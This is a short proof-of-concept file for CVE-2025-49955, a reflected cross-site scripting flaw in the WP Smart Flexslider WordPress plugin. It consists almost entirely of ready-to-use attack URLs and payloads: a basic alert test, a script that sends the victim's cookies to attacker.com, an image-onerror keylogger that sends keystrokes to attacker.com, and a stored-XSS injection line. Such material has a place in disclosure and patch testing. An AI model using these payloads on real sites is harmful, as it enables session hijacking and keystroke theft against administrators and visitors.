CVE-2025-49955

<!-- CVE-2025-49955 PoC - Reflected XSS in WP Smart Flexslider --> <!-- Target: WordPress site with WP Smart Flexslider plugin <= 2.5 --> <!-- Attack Vector: Malicious URL parameter injection --> <!-- Basic PoC - Reflected XSS --> https://target-site.com/wp-admin/admin.php?page=wp_smart_flexslider&param=<script>alert('XSS')</script> <!-- Cookie Stealing PoC --> https://target-site.com/wp-admin/admin.php?page=wp_smart_flexslider&param=<script>document.location='https://attacker.com/steal?cookie='+document.cookie</script> <!-- Keylogger PoC --> https://target-site.com/?page_id=X&flexslider_param=<img src=x onerror='var keys="";document.onkeypress=function(e){keys+=e.key;};setTimeout(function(){new Image().src="https://attacker.com/log?k="+keys;},5000);'> <!-- Stored XSS Context (if admin panel is vulnerable) --> <!-- Inject in plugin settings or slider content fields --> <script>console.log('CVE-2025-49955 exploited')</script>

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